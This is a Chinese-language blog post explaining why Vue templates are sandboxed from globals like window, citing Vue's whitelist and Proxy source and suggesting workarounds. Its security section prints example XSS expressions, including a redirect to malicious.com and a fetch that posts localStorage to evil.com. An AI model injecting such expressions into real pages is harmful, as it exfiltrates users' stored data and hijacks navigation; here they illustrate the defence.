从一个Bug到Vue核心原理:聊聊模板作用域的那些事

想起以前在项目中遇到了一个问题,想在 Vue 模板里直接用 {{ window.location.href }} 获取当前页面地址,结果发现根本不行!但是在 script 里面用 console.log(window.location.href) 却完全没问题,当时为了快速业务开发,也没想着去研究为什么在模版访问不了,只是换了种解决方案,那刚好现在有时间了,来深入研究一下

这就奇怪了,明明都是 JavaScript,为什么在模板里就不行呢?不知道大家是否也有过这样的疑问呢?

带着这个疑问,我深挖了一下 Vue 的源码和官方文档,发现这背后的原理还挺有意思的。今天就来跟大家分享一下我的发现

先说结论

Vue 模板运行在一个受限的沙箱环境 中,只能访问组件的数据和一些被允许的全局变量,window 不在这个"白名单"里。

这不是 bug,是 Vue 故意这么设计的!

30 秒看懂差别

xml 复制代码
<template>
  <!-- ❌ 这些都不行 -->
  <div>{{ window.location.href }}</div>
  <div>{{ document.title }}</div>
  <div>{{ console.log('test') }}</div>
  
  <!-- ✅ 这些可以 -->
  <div>{{ Math.random() }}</div>
  <div>{{ Date.now() }}</div>
  <div>{{ JSON.stringify(user) }}</div>
</template>
​
<script>
export default {
  data() {
    return {
      // ✅ 在 script 里随便用
      currentUrl: window.location.href,
      pageTitle: document.title
    }
  },
  mounted() {
    // ✅ 这里是完整的 JavaScript 环境
    console.log(window.navigator.userAgent)
    localStorage.setItem('test', 'value')
  }
}
</script>

你看,同样是 JavaScript 代码,在不同地方的"待遇"完全不一样。

Vue 官方是怎么说的?

我去翻了 Vue 的官方文档,找到了这段话:

Template expressions are sandboxed and only have access to a restricted list of globals.

翻译过来就是:模板表达式被沙箱化了,只能访问受限的全局变量列表。

还有一个更有意思的发现,在 Vue 的 GitHub Issue #1353 里,有开发者问能不能在模板里访问 window,Vue 团队的回复很直接:

这是设计决定,不是 bug。

模板表达式出于安全原因被故意限制在沙箱中。如果需要访问 window 属性,应该在组件的 methods 或 computed 属性中进行。

那接着往下看,vue它是怎么处理的

深挖源码,看看 Vue 到底做了什么

既然官方这么说,那我就去源码里看看 Vue 到底是怎么实现这个限制的。

白名单机制

在 Vue 3 的源码里,我找到了这个白名单:

rust 复制代码
// Vue 3 源码:packages/shared/src/globalsWhitelist.ts
const GLOBALS_WHITE_LISTED = 
  'Infinity,undefined,NaN,isFinite,isNaN,' +
  'parseFloat,parseInt,decodeURI,decodeURIComponent,' +
  'encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
  'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt'

看到了吧,MathDateJSON 这些都在白名单里,所以模板里可以用。但是 windowdocumentconsole 这些就没有,所以用不了。

代理机制

Vue 是通过 Proxy 来实现这个限制的:

typescript 复制代码
// Vue 3 源码:packages/runtime-core/src/componentPublicInstance.ts
export const PublicInstanceProxyHandlers: ProxyHandler<any> = {
  get({ _: instance }, key) {
    // 查找顺序很重要!
  
    // 1️⃣ 先找组件自己的属性(data、computed、methods、props)
    if (key[0] !== '$') {
      // 这里会查找组件实例的属性
    }
  
    // 2️⃣ 再找全局属性($route、$router 等)
    const publicGetter = publicPropertiesMap[key]
    if (publicGetter) {
      return publicGetter(instance)
    }
  
    // 3️⃣ 最后检查白名单
    if (isGloballyWhitelisted(key)) {
      return (window as any)[key]  // 只有白名单里的才能访问 window
    }
  
    // 4️⃣ 其他情况就报警告
    if (process.env.NODE_ENV !== 'production') {
      warn(`Property "${key}" was accessed but is not defined.`)
    }
    return undefined
  }
}

这个代理的逻辑很清楚:先找组件自己的东西,再找全局属性,最后检查白名单。如果都没找到,就返回 undefined 并且警告。

为什么要这么设计?

刚开始我也觉得这个限制有点麻烦,但深入了解后发现,Vue 这么做是有道理的。

1. 安全考虑

最主要的原因是防止 XSS 攻击。想象一下,如果模板里可以随意访问全局变量,恶意用户可能会注入这样的代码:

javascript 复制代码
// 🚨 如果没有限制,这些恶意代码都可能被执行
{{ window.location.href = 'https://malicious.com' }}
{{ window.localStorage.clear() }}
{{ window.fetch('https://evil.com', { method: 'POST', body: JSON.stringify(window.localStorage) }) }}

这就太危险了!

我还找到一个真实的安全案例:Vue.js Serverside Template XSS,展示了如果没有这种限制会发生什么。

2. 性能考虑

限制作用域查找范围,可以提高表达式求值的性能。如果允许访问所有全局变量,每次求值都要在多个作用域中查找,开销会更大。

3. 代码质量

强制开发者把逻辑放在合适的地方,而不是在模板里写复杂的表达式。这样代码结构更清晰,也更好维护。

实际项目中怎么办?

说了这么多原理,那在实际项目中遇到需要访问全局变量的情况怎么办呢?我总结了几种方法:

方法一:通过 computed 属性(推荐)

javascript 复制代码
computed: {
  currentUrl() {
    return window.location.href
  },
  pageTitle() {
    return document.title
  },
  isOnline() {
    return navigator.onLine
  }
}

方法二:通过 methods

javascript 复制代码
methods: {
  openWindow(url) {
    window.open(url, '_blank')
  },
  copyToClipboard(text) {
    navigator.clipboard.writeText(text)
  }
}

方法三:全局属性注册(适合系统级需求)

dart 复制代码
// main.js
const app = createApp(App)
​
app.config.globalProperties.$window = window
app.config.globalProperties.$document = document
​
// 模板中就可以用了
// {{ $window.innerWidth }}
// {{ $document.title }}

方法四:Composition API 的方式

javascript 复制代码
// composables/useWindow.js
import { ref, onMounted, onUnmounted } from 'vue'
​
export function useWindow() {
  const width = ref(window.innerWidth)
  const height = ref(window.innerHeight)
  
  const updateSize = () => {
    width.value = window.innerWidth
    height.value = window.innerHeight
  }
  
  onMounted(() => {
    window.addEventListener('resize', updateSize)
  })
  
  onUnmounted(() => {
    window.removeEventListener('resize', updateSize)
  })
  
  return { width, height }
}

一些有趣的发现

在研究这个问题的过程中,我还发现了一些有意思的东西:

为什么 Math.random() 可以用?

因为 Math 在白名单里啊!Vue 认为这些内置的数学、日期、JSON 相关的对象是安全的,所以允许访问。

React 也有这个限制吗?

React 没有!因为 React 用的是 JSX,本质上就是 JavaScript,没有额外的模板编译过程。但这也意味着 React 在安全性方面需要开发者自己把控。

总结

Vue 模板的作用域限制看起来像是一个"坑",但实际上是一个精心设计的安全特性。它强制我们:

  1. 把逻辑放在合适的地方 - 模板专注于展示,逻辑放在 JavaScript 中
  2. 提高代码质量 - 避免在模板里写复杂的表达式
  3. 保证安全性 - 防止恶意代码注入
  4. 优化性能 - 减少不必要的全局变量查找

虽然刚开始可能会觉得不方便,但习惯了之后会发现这样的代码结构更清晰,也更安全。

记住一个原则:模板是视图层,不是逻辑层。把复杂的逻辑交给 JavaScript,让模板保持简洁和安全。


emm 狂野将使他们感到畏惧

相关推荐
七夜zippoe2 分钟前
前端开发中的难题及解决方案
前端·问题
四季豆豆豆25 分钟前
博客项目 laravel vue mysql 第四章 分类功能
vue.js·mysql·laravel
晓13131 小时前
JavaScript加强篇——第七章 浏览器对象与存储要点
开发语言·javascript·ecmascript
Hockor1 小时前
用 Kimi K2 写前端是一种什么体验?还支持 Claude Code 接入?
前端
杨进军1 小时前
React 实现 useMemo
前端·react.js·前端框架
海底火旺1 小时前
浏览器渲染全过程解析
前端·javascript·浏览器
你听得到111 小时前
揭秘Flutter图片编辑器核心技术:从状态驱动架构到高保真图像处理
android·前端·flutter
驴肉板烧凤梨牛肉堡1 小时前
浏览器是否支持webp图像的判断
前端
Xi-Xu1 小时前
隆重介绍 Xget for Chrome:您的终极下载加速器
前端·网络·chrome·经验分享·github
摆烂为不摆烂1 小时前
😁深入JS(九): 简单了解Fetch使用
前端